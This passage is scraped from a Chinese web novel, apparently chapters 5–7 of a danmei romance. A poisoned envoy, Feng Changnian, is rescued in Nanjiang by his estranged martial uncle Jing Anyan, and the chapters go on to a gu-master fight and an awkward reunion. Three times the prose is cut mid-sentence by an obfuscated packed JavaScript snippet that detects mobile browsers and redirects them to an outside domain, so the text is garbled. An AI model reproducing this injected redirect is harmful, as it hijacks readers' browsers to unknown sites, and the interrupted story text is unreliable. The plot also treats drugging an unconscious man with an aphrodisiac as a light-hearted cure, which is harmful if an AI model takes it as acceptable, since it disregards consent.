“你是我接下支援南疆任务的唯一理由。”他紧紧搂住靖安言,像是终于归了巢的倦鸟,“我来了,我长大了,已经可以像小时候你保护我一样保护你了,所以,别再像当年一样从我眼前逃走了。” 靖安言迷蒙间支吾了一句什么,封长念没听清,于是更近地把头靠在他的胸前,听他有力的心跳声。 “还逃么?”他感觉到心跳声在渐渐变得沉缓,“说不逃了。” 靖安言没有说话,但是很轻微地摇了摇头。 只一下,封长念就安心了,更紧地抱着人。 “先睡吧,醒来时,我有好多话想跟你说。” “比如,我真的很想你,也很爱你。” “小师叔。” “……” “……” “……” “你在这儿探头探脑张望什么呢?” 晨光熹微,封长念在屋内熟睡,门口靖安言正和夷月对峙。 靖安言长臂一伸挡住夷月想往里面看的视线,小姑娘气呼呼地一鼓嘴:“救人我也有份啊!昨晚不让我看,今早总该让我看看人死没死吧。” 昨晚靖安言拿着解药去看封长念之前,先把夷月拎回了她自己的屋,然后利落地挂了把锁,小姑娘逼问再三对方也不说为什么,只好自己鼓捣锁头破案,结果半天未成,终于还是乖乖睡觉了。 然后起了个大早,终于捅开了锁头,忙不迭地跑来看情况。 又被守在门口的靖安言挡了回去。 “不让你看自有不让你看的道理。”靖安言抄起双臂,“看你激动的,发辫都绑歪了。” “有吗?”夷月下意识摸了一把,旋即怒道,“你别转移话题!封哥怎么样了啊,急死个人。” “封哥?改口改挺快啊。”靖安言笑笑,“行了行了,放心吧,伤口我都包扎过了,药也喂了,毒也解了,屋里也收拾了,现在睡得正香。” “收拾?收拾什么?” 靖安言但笑不语。 他可不想给夷月介绍自己的邪门法子——封长念中毒太深,最好的排毒方法有两种要么出出血,要么出出……咳咳,他本来就失血过多,所以靖安言自作主张给他换了第二种。 红尘蛊一颗,做一场绮丽的幻梦,毒也解了,换一晚安眠,靖安言当时捏着封长念的脸,看着对方无知无觉地在自己的掌心中渐渐呼吸急促,他心道还是小师叔疼你吧,然后贴心地出去了。 “不说就不说,收视都收拾完了,那你干什么不让我进去看?” “因为我有个事儿要麻烦你啊,知道你大清早就会跑过来,特地等你呢。” 夷月心里一蹦,看见靖安言笑得一副老奸巨猾的样子,直觉没好事。 这人脸部线条生得冷硬,眉眼却柔和,尤其是那双桃花眼,极大地中和了线条尖锐带来的冲击感,可笑起来的时候总让人觉得这人没揣好心思。 果不其然,靖安言伸手一指屋里:“帮我一起给你封哥哪来的扔回哪去。” 夷月一句话卡在嗓子眼,惊天动地地咳嗽起来。 “啥?!扔回去?!”她不敢置信地在咳嗽间隙问,“现在???” 靖安言一言不发地瞧她咳,故弄玄虚地点了点头。 “拜托,他昨晚差点儿死了哎,”夷月终于倒过一口气,“你不还说不能动他吗?现在又要给他扔回去?南疆王不也说了让你去接应大魏援军吗?” “是啊,他是说了,但我也说了,我不敢保证我会不会揍他们。”靖安言一撩额发,“现在是没揍吧,但我也的确没想到来人会是他。阿月,我不想他死是一回事,我不想见他是另一回事。” “为——” “别问为什么。”靖安言竖起一根手指在他唇前一抵,“没有为什么。你要实在瞧着他可怜,就去守一守,带他去见王上吧。” “服了,谁能有你心狠手辣啊,枉我看你昨晚那样还以为你都要心疼死了。” 夷月怒气冲冲地拨开人,气势汹汹地迈进屋,床上躺着的人脸颊白得吓人,像是一块易碎的瓷片,连嘴唇都没有血色。 她气势怂怂地退回来:“不是,你要不再看看,你师侄这样真的能被搬来搬去?” “人已经没事了,雨也停了,被搬一下能怎么,又不用他走路。” 夷月还是觉得封长念随时随地都能断气,打商量道:“要不这样,你不就是不想等他醒来后见他吗?我在这儿帮你守着,就说人是我救的,你回避一下不露面,不就好了吗?” 靖安言长眉一挑:“那后面去见王上……” “都说我是救命恩人了,还能给他扔半路?”夷月翻他一记白眼,“再者说了,昨晚那情况那么惨烈,他知道后也不一定要去见南疆王,我是南疆人,从小在这儿长大的,去哪里我都能带他,有些地方你还不一定知道呢。” “成交。”靖安言伸出手一拽她的发辫,眼睛都亮了起来,“挺聪明的嘛小丫头,得了,那你看着吧,我在门外守了他一晚上,一点儿都没睡,困得要命,我找地方睡觉去了,等人走了告诉我一声啊。” 靖安言讨价还价到位,溜得巨快,夷月扒在门上看他急冲冲离开院子的嚣张背影,突然生出一股中计了的感觉。 这人不会是本来就想这么办,在故意给他师侄卖惨的吧?! 这时候反应过来也晚了,夷月对着那设套的混账抡圆了胳膊一顿挥舞,险些把阿银甩出去,这才愤愤不平地转身开门。 门开了,里面的人开口是一把好嗓子:“小师叔——” 夷月惊诧地和封长念四目相对。 两人一怔,然后同时开口。 “你醒了?!” “你是谁!?” 封长念的模样看起来还有些迷惘,夷月眼珠一转,这人那一声唤怕是隐约有些昨晚的意识,但并不确切,现在刚醒,对他那王八蛋甩手掌柜小师叔跑路的事儿全然不知。 还行,还来得及,能骗,能唬一唬。 于是夷月反手关上了门,笑道:“我是谁?你的救命恩人啊,我叫夷月,昨晚在神寂岭,要不是我把你带回来,都没人给你收尸。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14380156|153114||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 封长念眼神微微一变:“……只有你?” 靖安言呢?! 那些情潮汹涌的记忆弥漫上来,封长念脸色更白了。 他人呢?! 夷月心里狂骂靖安言,硬着头皮道:“只有我啊,不然呢?还该有谁?别的男人吗?” 封长念那双黑眼睛一错不错地望着她,夷月被看得发毛,寻思着昨天救人的时候只知道这小子长得漂亮,没想到睁眼后那股摄人的气场却全然没有模样那般人畜无害,瞧着怪有压力的。 她正想着怎么搞个马虎眼彻底把这件事揭过去,封长念却收了那股压迫感十足的目光,蓦地浅笑了一下。 “失礼了,在下只是诧异,姑娘孤身一人如何能扛在下回来。”他眸光往外一扫,是一片晴朗的天空下寂静幽深的山岭,“还给在下换了衣服,解了毒、包扎了伤口。” “……” 这谎话可真是不能开头啊,夷月急得直想挠手腕上的小白蛇。 “……嗐,嗐!这有什么啊,我们南疆民风很开放的,我又是个蛊师,这……这男的女的都无所谓,我……我是大夫嘛,我——你干什么?!” 封长念手一抖,啪地一声,茶杯炸了一地,滚烫的热水顺着他苍白的指尖滚滚滑落,刹那间烫红了一片。 “抱歉。”封长念被烫得手直哆嗦,还试图去捡地上的碎瓷片,“……我只是有些口渴。” “哎呀早说嘛,坐着坐着,你大病初愈,手上肯定没劲儿,我来我来,要什么你跟我说就行。” 夷月拨开他想要捡碎片的手,抬眼一看,前襟袖口都湿透了。 她斟酌道:“我给你寻件新衣服吧,你等等我。这个给你抱着,止烫。” 封长念还没道句谢,就被一片冰凉盘在手指,阿银歪着三角头,乖乖地用冰凉的尾巴尖将他烫过的地方裹起来。 封长念:“……” 好别致的止烫方式。 夷月已经在一旁翻找起来了,靖安言的屋子她很少进来,衣服是怎么放的根本把不准,不过好在她运气不错,一打开就是一片琳琅的夏装。 夷月一边翻一边腹诽,靖安言的衣柜极其骚包,各种颜色让人看得眼花缭乱,红的、紫的、青的、黄的,都是炸眼睛的色调,他一个杀手每天穿得这么五颜六色跟个花公鸡似的真的好吗? 最终,她终于翻出来一件沉稳些的深蓝,拿出来抖了抖,笑着给封长念递过去:“这件吧,我出去,你换上。换下来的衣服你给我就好。” 封长念没接,抱着她的小白蛇,淡定地笑:“姑娘家里怎么这么多男人的衣服?” 夷月笑容一凝,看着封长念手里乖顺的小蛇,突然意识到她露馅了。 这人怕是一开始就看出来自己在扯谎,或者说,知道救了他的不止自己,方才什么手抖摔杯子、衣服湿了要换,就是为了一句话—— 靖安言呢? 封长念的目光柔软下来,定定地落在夷月怀中的衣服上,有几分怀念,有几分心痛。 他知道这是靖安言的衣服,上面那种淡淡的香味儿和昨晚一模一样。 这一幕落在夷月眼里,活脱脱是个被欺骗了的小可怜,而自己就是那个万恶的帮助负心汉跑路的帮凶。 靠!!!夷月想把衣服甩他脑袋上,内心咆哮:你们大魏的男的,一个两个的,一个装心狠一个装可怜,心思弯弯绕绕都这么贼呢?! 她深呼吸了几口气,然后灵机一动,露出个愈发灿烂的笑来:“好吧好吧,被你看穿了,我确实不是一个人在这儿住,这不是怕你有负担么。” 封长念心神一动:“那敢问——” “这衣服是我、爹、的。”夷月把衣服往他怀里一放,银饰在这一动下叮当作响,“不客气,哥哥。” 刹那间,她看见封长念像是被雷劈中了一般,刚浮现出些神采的眼中骤然灰败。 5.相见 夷月有那么一个瞬间觉得自己说错话了。 但只有短短一瞬,她梗着脖子没找补——怎么了?不就是给家里为什么有男人衣服找理由吗?多棒的回答啊,他那一副被雷劈焦了的神色是什么情况?! 被子在封长念手掌下几乎要被攥裂,手背青筋都爆了出来,看起来好像是不大妙,像是要背过气去。 夷月小心翼翼地弯腰:“……你、你不舒服吗?” “……多大了?”封长念抬眼,眼底一片猩红色,看起来像是要哭,“……你……你娘亲是什么人呀?那如今你……你、你……” 那个词实在说不出口似的,封长念松开齿关,大口地、压抑地呼吸,才将眼底潮热逼回去。 “……我爹啊。”夷月斟酌着,“他出门了,呃,出远门,一时半会儿、十天半月应该是不回来了。我娘……我娘……” 这都什么啊!!她果然还是个纯洁善良的小姑娘,谎话什么的太难编出口了,错漏百出啊!!! 夷月内心咆哮,撒腿就跑:“你你你先换衣服吧,我在外面等你啊!!” 她慌得连阿银都忘记要回来,咣地一声把门一关,双手抚上脸颊,感觉都红得发烫。 “等那厮回来,我一定先煎后炸,扔蛊堆里用他炼新蛊,我——” 门外光影倏然一闪,夷月猛地抬头。 屋内,封长念并不知晓外头小丫头的碎碎念,专注地盯着手上的衣服。南疆衣料与大魏略有不同,最典型的就是上头的银饰错综复杂,美轮美奂。 其实这一套穿上身并不难,但他抓着衣服,手指蜷了蜷,酸楚得说不出话,与上头翩跹的银制蝴蝶花纹沉默地对视。 半晌,他定了定神,把衣服披上了。 靖安言熟悉的香味儿裹上来的那一瞬间,他狠狠地闭了闭眼。 “咣——” 封长念猝然睁眼,方才慌乱跑出去的小姑娘被攒成了个球撞开了门,咣地一声摔在门口架子上,噼里啪啦,上头的摆件被她晃得摔落下来,七零八落碎了一地。 封长念当即扣好最后一颗扣子,利落地抽出摆在床头的长剑。 他三步并两步冲过去拉夷月:“你还好吗?” “不……不太……”夷月手还没碰上他的手掌,转握为推,一把将他搡开,“小心——!” 封长念早已感受到身后不同寻常的气息,翻身一道利落的剑光划过,身后那人偷袭一招不成,险些被墨痕剑捅了个对穿,无奈只能仓皇退后多步,在门口稳住了身形。 天光倾泻,封长念看清他面庞时不由得一怔。 此人五官俊秀,乍看上去全无不妥,只是一双眼睛大睁,里头却没有黑眼珠,长发尽白,面无血色,看上去像是一具刚从棺材里挖出来的尸体。 他手中掂着一把匕首,带着不怀好意的亮光。 “这是……” “这是圣酋部下的一员猛将,叫戈齐。”夷月语速巨快,“好吧你或许不知道圣酋是谁,就是南疆王说的要造反的那个家伙,这是他手底下的兵!” 戈齐歪了歪头,露出一只爬满血丝的左耳,笑了:“大魏人?巧了,我家大人就想找个大魏人说说话。” 封长念攥紧了墨痕剑:“……他厉害吗?” “厉害,他——” 话音未落,封长念蓦地蹿了出去。 他的身法敏锐得像豹子,只一眨眼就掠到了戈齐面前,对着那双没有瞳孔的眼睛也不闪不避,森然的剑光照亮了戈齐的眼,只有一片空白。 夷月惊呆了,这些动作几乎没有任何声音! 可风势的改变还是让戈齐察觉到了危险,猛地后撤,墨痕剑刮过他的侧脸,留下一道细长的口子,血珠骤然冒出。 戈齐落在院中不可思议地摸了摸自己的脸,感受到指尖的濡湿,露出个阴森的笑:“你很好。” 话音未落,只见他左手猛地曲折,弯曲程度看起来像是指骨要脱落一般扭曲,封长念不多话,当即追出去就是第二、第三、第四剑。 他身法灵活得像只鸟,戈齐左手无暇继续那骇人的扭曲,只能在无奈之下左挡右挡,方才袭击夷月的匕首在长剑的攻势下全然没有反击之力,只能踉跄着被一路打到门口。 封长念瞅准一个空隙,猛地将墨痕剑捅进戈齐的胸口,将他死死地钉在了门口的竹桩子上! 戈齐不可置信般攥住剑锋,可惜他也看不到这柄长剑的模样,几个喘息后便深深地垂下了头。 封长念紧紧盯着他的表情,直到确定他没有呼吸,这才缓缓抽出了墨痕剑,下一刻腿一失力,拄着墨痕剑扑通就摔了下去。 封长念胸膛猛烈起伏,这一路狂风扫落叶似的打法让观战的夷月都不由自主屏住了呼吸,夷月凑近了才发现他的手在剧烈的颤抖。 到底还是大病初愈,他不敢露怯,于是一路猛攻,为的就是不让对方有后继还手之力。 夷月扶了他一把:“你怎么……” “我重伤未愈,久拖不利,既然他厉害,只能打措手不及。”封长念稳了稳呼吸,“我——” 他眸子蓦地一缩。 夷月的脑袋后突然出现一双白眼睛! “小心!” 血色喷涌,封长念用尽最后的力量推开夷月,匕首洞穿了他的左肩,逼得他痛呼一声,反手一剑刺出。 戈齐轻巧避开,得意洋洋松开手,转而抚上自己胸前血洞。 夷月不可置信道:“你——他换了心脏的位置!?” “大魏的客人,本来你远道而来,我也不想这么不留情面。”戈齐说大魏话还有些拗口,配上那一副尊容和左胸涌出的血液实在骇人,“只是我们大人想见你,你不肯配合,只能伤你带走了。” 下一瞬,他的左手再度扭曲起来,快到晃出残影,封长念几次三番想爬起来都被肩膀伤痛拖累,只得眼睁睁看见对方露出一个笑来。 天际尽头忽然出现蜂群煽动翅膀的声音。 “糟了。”夷月扶着封长念的手臂,手掌一翻,“阿银!!!” 一道银光疾驰而过,小白蛇立刻对戈齐撕咬起来,戈齐左避右闪,可惜手中没有武器,不能一刀剁了这条纠缠的蛇,只能以闪避为主,静待蜂潮大群越逼越近。 这边阿银和他缠斗不休,那边封长念揪住夷月的袖口:“是什么?” “蛊,他是炼蜂蛊的,被缠住不得了,封哥,我们进屋避一避。” 他推开夷月试图拽他的手,转而将小女孩往里推:“躲没有用,你去厨房,立刻拿火把来,快去!” “你自己——” “快去!!” “大魏的客人,请你不要再负隅顽抗。”在遮天蔽日的蜂群到来前,戈齐的阴笑声传遍了整 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14389700|153114||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 个小院,“靖安言不是个好东西,你跟他站在一起,只会背离来南疆的初衷,相信我,和我家大人见一面,你们的皇帝会满意的。” 封长念缓缓起身:“你们大人的待客之道,我也算是领教了——夷月!!” “接着!!!” 戈齐看不见,还以为是偷袭,脑袋顺着风声一偏,两只火把便轻巧地落在了封长念手里,他顾不得肩膀剧痛,用手背狠狠一抹唇角渗出的血珠。 “想见我的人多了去了,请不请得动我,看你本事了。” “敬酒不吃吃罚酒。” 蜂潮就在这一刻铺天盖地涌来! 封长念不闪不避,举着火把就冲了上去,面对扑面而来的虫潮,连眼睛都未曾眨一下,如同舞剑那般晃动着手里的火把,刹那间烧出了一条阳关大道来。 戈齐察觉风声不对,立刻屈指再唤,封长念却已经逼到近身,直接将火把往他身上砸! 阿银也在此时察觉到封长念的意图,转咬为缠,令戈齐寸步难行,封长念就是趁着这个机会,一把将火把推进他胸前的伤口中! 痛呼声和烧焦味夹杂,戈齐大怒,一脚蹬开阿银,抽出藏在后腰的另一把短匕,不顾伤口的灼痛,冲着封长念心口就要捅下去。 封长念察觉到他的动作,本能地一避,可余光里,漫天蜂群后身影一晃,刹那间,仿佛鼻端又有那熟悉的香味儿。 为着这一缕气息,他硬生生稳住了身形,任由那把匕首刺进了自己的胸膛。 血光四溢,封长念没有松手,心里道:我就赌这一次。 下一刻,激越的笛声压过蜂群响彻云霄!! 一口鲜血喷涌而出,封长念却汗水涔涔地笑了。 只见那蜂潮骤然被打乱了阵脚,抓着封长念的戈齐目光一凛,当即想再拧动十指,又被封长念紧紧反手扣住。 “靖安言——”戈齐目眦欲裂,咆哮道,“靖安言——!!!” “在这儿呢,不用叫你爹我的大名。” 熟悉的音色响起,封长念眉眼松动了一瞬,然后不顾伤势猛地弯腰,抄起地上的长剑直接砍掉了戈齐的一双手! 血色奔涌,戈齐那本就毫无血色的脸更是一片惨白,只听笛声愈发激昂,遮天蔽日的蜂群转了个方向,向天际飞去。 在散开的蜂群背后,封长念眼前一片猩红色,却终于看清了那张脸。 靖安言坐在树上,吹笛驭蛊,眉眼间都是狡黠的邪气,眉峰在与封长念视线相触的一瞬极快地一蹙,旋即又松开。 “靖安言——”戈齐的音色带上被砍手的痛苦,“你杀了我们那么多弟兄,你该死,你该死!!!” “无论我该不该死,眼下要死的人也不是我。”靖安言放下长笛,手指下意识在银制的蝴蝶护腕上一划而过,“能找到这儿来,本事不小,可惜想要我的命,你的本事还没那么大。” 他从树上轻飘飘地跳下,落地时不惊起一片落叶,只有衣摆随风散开又坠落,像是被惊扰的一朵含苞待放的花。 封长念伤痕累累地看着他。 “小……” 师叔。 最后两个字归于寂静,封长念终于承受不住重伤晕了过去。 昏过去前,他最后一个印象是靖安言面色平静地望着他,青色的衣摆颜色像极了那年他们分别时,坠落在城楼前的纸伞。 6.缘由 封长念这一晕,墨痕剑脱手掉落,在地上叮当撞了个响,戈齐耳朵一动,腿一动就要踹在封长念骇人的伤口上。 靖安言身形一闪,左手一把抄起墨痕剑,毫不犹豫地对着他的后心捅了下去。 夷月厉声道:“他心脏移了位置!” 靖安言闻言干脆利落抽剑,毫不犹豫地对着左侧胸膛就是第二剑捅下。 他冷讽道:“炼蛊就炼蛊,搞这些邪路子,把自己变得人不人鬼不鬼,成什么样子。” 戈齐在靖安言手里终于抽搐了几下断了气,确认无误后,才毫不留情地将他的尸身推出去,旋即从怀中抽出一张洁白的帕子,将墨痕剑上的血痕擦了个干干净净。 帕子翩然而落,盖在戈齐那张没有了呼吸的面庞上,靖安言在封长念身侧蹲下,点中了几处穴位,简易地包扎了一下。 再看看那张俊秀却苍白的脸,靖安言不由自主地叹了口气。 来南疆这小子就没消停过,短短一日不到,又是中毒又是重伤,只要在自己视线之外,封长念就没有平安过。 “给他抬屋里去吧。”夷月过来帮手,“这伤会不会要了他的命啊?” “不会,这伤就是看着吓人,他从小习武,知道避开要害。”靖安言把人扛起来,看着他低垂的眼睫,无奈地叹道,“还熟读兵法。” 他看得分明,最后那刀明明躲得开的,非要搞一出苦肉计,逼得自己不得不出面。 封珩,长本事了。 等到把人收拾好已经到了晌午时分,靖安言直起腰来时听见了脊背发出不堪重负的声音,吃力地捶了捶。 “就这样吧,”靖安言将药瓶子抛到夷月手里,“我先走了,你——” “你还有必要走吗?”夷月转着那只小瓷瓶,颇为无奈,“他都看到你了,你还怎么骗,说他看错了,那个是我?” 靖安言诡异地沉默下来。 “反正……” “我真编不下去了,还有个事儿我没来得及告诉你,我感觉我好像给你编谎话编出了个事故。”夷月吐吐舌,“……不小的事故。” 靖安言:“?” 夷月刚想将那诡异的父女关系和盘托出,转眼一瞥,猛地往后撤了一步:“……封哥。” 封长念醒了。 靖安言一僵,一时间居然没有勇气转身去看。 还是榻上那人先开了口:“……小师叔。” 封长念仰着脸,声音都有些抖:“……是你吧,小师叔。” 沉默如滴水成冰,一寸寸将空气冷寂下去,半晌,靖安言话未出口先叹了口气。 “十年前你我分别的时候我就说过,我已经不是你的小师叔了。”靖安言转过头,“长忆,好久不见。” 封长念骤然感觉到了一股疼痛。 一股从伤口开始,席卷了四肢百骸的疼痛,那是一种骨子里都在泛着的疼,疼得他想哭,但他实在不善于落泪,眼眶筑垒的堤坝太高,只能将泪珠锁在其中。 他涩声道:“……好久不见。” 好久,好久。 十年。 人生有几个十年呢,没有的,小师叔。 我是该庆幸你还记得我是“封长忆”,还是该悲哀,居然能说出口的只有一句,好久不见。 “行了,久别重逢是喜事,合该轻松些。”靖安言见实在是走不掉了,只好避开那些过去,只说眼下,“你身上中的毒已经解得差不多了,只不过本来身子被闹腾得就虚弱,眼下又放了血,一时半会儿的亏损肯定免不了,你就……就在这儿休息,养好伤再走吧。” 封长念却仿佛什么都没听见去,那些复杂汹涌的情绪漫上来,又在他和夷月的互动之间一寸寸冷下去。 他垂下眼,深深地吸了一口气:“……什么时候的事?” 靖安言惑了:“什么?” “你成亲了。”封长念抽气时都带着颤抖,“……什么时候的事儿呀?女儿都……都这么大了。你的妻子也是……也是南疆人吗?” 靖安言足足愣了好一会儿,才终于把前因后果串起来。 不用夷月解释,他现在也非常清楚地知道她说的事故是什么了。 转头过去,夷月双手合十,大眼睛一转:“他让我解释为什么家里有男人衣服,我就……就……” 靖安言屈指给她弹了个脑瓜崩。 夷月捂着额失声叫道:“干什么干什么?!我不是说了我不擅长撒谎了吗?谁给我的好差事,现在嫌我编得离谱了?!” 靖安言却不搭理她了,转过头去对一头雾水的封长念,莫名有些心虚道:“……那什么,她今年十五。” 封长念没转过弯来,微微张口,发出了一声气音。 “我今年二十九,十四岁的时候我连你都不认识呢,天天走街串巷,逃课还要躲避你师祖追杀。”靖安言一捏夷月的脸蛋儿,“哪来那么大的女儿?!” 他都被气笑了:“你俩真是一个敢编,一个敢信。” 那一瞬间仿佛从污泥来到云端,失血过多让封长念的脑子转得不快,好像被这一消息砸懵了。 “傻了?没有成亲,没有女儿,非要我直说吗?二十九年光棍儿一个。”靖安言摊摊手,“真行啊封珩,多年不见第一件事居然是盘问我这个——你、你笑什么?” “啊?我有吗?”封长念下意识反问,手指却碰到了自己上扬得过分的唇角,“我……我就是……就是开心。” 靖安言脸要被气绿了。 不是,他光棍儿这件事为什么会让封长念这么开心?! 靖安言抄起双臂,也不顾什么长辈晚辈了,屈膝就顶上了榻,一手扳着封长念的下巴抬起来,居高临下地问:“好笑吗?” 封长念老老实实收了笑:“……不、不好笑。” 靖安言眯着眼打量他,似乎在判断他是真心还是假意。 封长念根本吃不住他这么看,靖安言的眼神太深了,像是深涧一般,他一个把不住心神就会被溺毙,于是封长念慌乱地避开目光,不由自主地落在淡色的唇上。 ……更不淡定了。 “别闹了,小师叔。”封长念喉结动了动,一些暧昧的、缠绵的记忆瞬间浮现,让他愈发把持不住,“……你、你身体好些了吗?” 折腾一晚上,大清早还跑了,他可是记得昨晚靖安言有多疲惫。 靖安言却仿佛没明白似的眨了眨眼,松开了钳制:“……那倒也不用客套到这个份儿上,我还没七老八十。” 这次换成封长念盯人了。 他小时候眼睛就又黑又深,有什么想问的就会固执地追问到底,跟着靖安言三个时辰都不嫌累,最后败下阵来的只能是逃无可逃的小师叔。 现在长大了,这股执拗劲儿还带了一阵压迫,靖安言压下心头那种异样的被压制之感,直直迎上他的目光。 靖安言:“……挺好的。” 话毕,他翻身下了榻,把一旁看戏的小丫头领走,一边道:“既然都醒了,那就一起吃个饭吧,这么一折腾再不吃点儿东西,神仙也难救啊。” 封长念看不得他待不过片刻又要走,只怕这人又随便找个理由跑路,忙不迭要下榻:“你等等——!” “封珩,”靖安言点了点自己的唇,止住了他的动作,“民以食为天,先吃东西再说话,我跑不了,你放心好了,这次答应你,说到做到。” ……可这人昨晚还答应着不跑,今早不还是无影无踪,甚至连面都不想露。 从来拿誓言当儿戏的小师叔也不等封长念下一句话,领着夷月就跑了。不过好在,不多时,厨房真的传来淘米煮饭的声音。 靖安言真的在淘米洗菜,一副不打算跑了的样子,倒淘米水之余还顺带着把一旁歪脑袋的小姑娘搡开。 “不干活只等吃,还好意思耽误别人干活。”靖安言眼皮都不抬,把米扔锅里倒水盖盖子,然后利索地开始切肉,“别用你那大眼睛看人了,想说什么就说。” “不跑了?” “你看他那样儿,我跑得掉?”靖安言每一刀都剁得砰砰作响,“你信不信,我前脚走了,他后 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14404382|153114||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 脚能给自己再扎一刀。” “哟,敢情现在不是那个要把他丢回神寂岭的你了。”夷月懒洋洋拖长声,“心狠手辣呢?不想见他呢?” 菜刀重重剁进菜板里:“你以为是我想不见就能不见的?你太小看我们封大人了,我一直藏着倒也罢了,见了面认了人,以后他有一万种办法逼我现身,你以为今天戈齐那一刀他真的躲不开?” 夷月“啊”了一声:“苦肉计啊!?” “心狠手辣的可不是我啊小丫头,跟大魏那帮人比我差得远呢。”靖安言唇角微勾,“封珩此人呢,看上去规矩又谨慎,但其实特别懂得‘为达目的不择手段’以及‘成大事者不拘小节’这两句话。真要见我,命算什么。这个时候谁心狠谁才赢。” 他自认不想见面是一回事,原因无他,不知道说什么,被封长念一盯,当年的旧事再翻出来咀嚼,他觉得挺没劲的。 但为了这么一个不言不语,让他去袖手旁观、眼瞧着封长念血溅五步,他又自认的的确确做不到,所以看见封长念微笑的那一刻,他就知道这小子出息大发了。 不愧是玄门门主了啊,没一个不老奸巨猾的。 他自顾自地沉浸着思考,一旁的夷月却干脆利落地戳破了他从未想过的那一方面。 “所以,他为什么连命都不要就为见你一面?” 菜刀一顿。靖安言仿佛没听清似的,问:“什么?” “连命都不要了就为见你一面,你们同门感情这么好啊。”夷月是真的很惊讶,“这样的豪赌,你要是个女人我都以为他是来追爱的。还是说,你当时跑路的时候莫不是把他的什么宝贝毁了吧?” 靖安言不说话了,就连手中的菜刀动作都缓了下来。 沉默间,四周只剩下饭锅里的粥咕嘟咕嘟轻响,夷月看他那沉默的模样,悟了。 “你还真没想过为什么他拼了命地也要见你啊?” “我上哪里想那么多,当年忙着逃命呢。” 他当年那把火烧玄门烧得义无反顾,好多典籍还有弟子的东西都被付之一炬了,他记忆深刻的就有一只风筝,是封长念的大师兄亲手扎的,燕尾长长,是春日里他带着封长念他们五个最喜欢放的那一只,最后被火焰吞噬殆尽。 那里面有没有封长念什么视若珍宝的东西…… 靖安言突然也想到十年前他们分别的时候,他到最后也没顾得上问一句,所以一直都不知道封长念到底是拼着一腔什么情愫,居然从北至南一路追到国境线。 因为觉得他背叛了玄门? 因为觉得他做错了事情? 因为他们从来关系亲厚? 可最后封长念没有伤害他,相比之下,当年他走得干脆决绝,雨中神色晦暗痛苦、受伤的那个反倒是封长念。 打破了这一沉思的是天边骤然高亢的一声鸟叫。 这声鸟叫极不寻常,像是鹰隼被掐住了脖子一般的尖啸,一共三声,听起来十分瘆人,靖安言和夷月同时回过神,目光极快地一撞,靖安言立刻转身冲去封长念那屋。 封长念正在闭目养神,被靖安言撞进来的动静吓了一跳。 “小——!?” 门都来不及关上,靖安言当着他的面开始解腰带。 这这这?!?! 封长念似乎是惊呆了,还没来得及说什么,只见靖安言两脚蹬掉长靴,把他往里一推,挨着他就躺了下来。 他们险些鼻尖撞上鼻尖,封长念心如擂鼓,只见靖安言一手拔了别着高马尾的玉簪,长发倾泻而落,随着被子一起遮过他的发顶。 “别动。” 靖安言只穿着中衣,曲着腿,把两床被子都抖开,乱七八糟地在床上一堆。 然后他伸手一捞,让封长念紧紧埋进了他的腰窝处。 “圣酋来了。忍一忍,无论发生什么都不要说话。” 封长念:“……” 靖安言将他的手缠在自己的腰间,他抱着那截有力又劲瘦的腰身,实在觉得此时此刻的忍耐力已经超越了曾经二十多年的修行。 7.作戏 靖安言没留意到封长念的异样。 屋内还有淡淡的血腥气,他伸长了胳膊捞过床边的香炉,从怀中掏出一包香粉,用火石点了,霎时香气四溢,将那些残存的血腥味儿掩盖得干干净净。 他这才放心地呼出一口气,拨了拨被子露出一条缝。 封长念埋在他腰间,只露出了一只耳朵,从耳垂到耳根都红透了。 靖安言一声轻笑。 封长念闻声抬头:“……你笑什么?” “笑你,我从前怎么没发现你这么容易害羞呢?”靖安言眉眼弯弯,笑起来又邪又灵,“嗯?小长忆。” 当年由他带封长念的时候,自己虽然占着高一辈的辈分,但年龄也不过只差了五岁,因此在外人眼里他们就跟一对儿兄弟一样,勾肩搭背、打打闹闹太家常便饭了。 那时候怎么没看封长念羞成这样。 封长念不知该如何反驳,只能瞪着一双眼睛瞧他。 靖安言心里痒痒的,越看越想逗他,手指顺着被褥摸进去,在封长念有些惊慌的目光下,轻描淡写地从他受伤的肩头摸了一把,将一抹血痕藏在手心里。 “做什么这么看着我?”靖安言抽手的时候勾了一下他的下巴,“做戏做全套。” 封长念的目光骤然幽深起来。 在他的手刚要抽离被褥之前,封长念环住他腰身的力道松开了,转而钳住了他的手腕。 这次轮到靖安言一怔。 完了,莫不是把人逗毛了。 只见这被逗毛了的小子抓着他的手,盯着他的眼睛,张嘴就在他指尖咬了一口。 一丝微痛自指尖一路麻到心口,靖安言半边身子一哆嗦,猛地把手抽了回来。 “你——” 封长念目光微微一动:“小师叔,你耳朵也红了。” 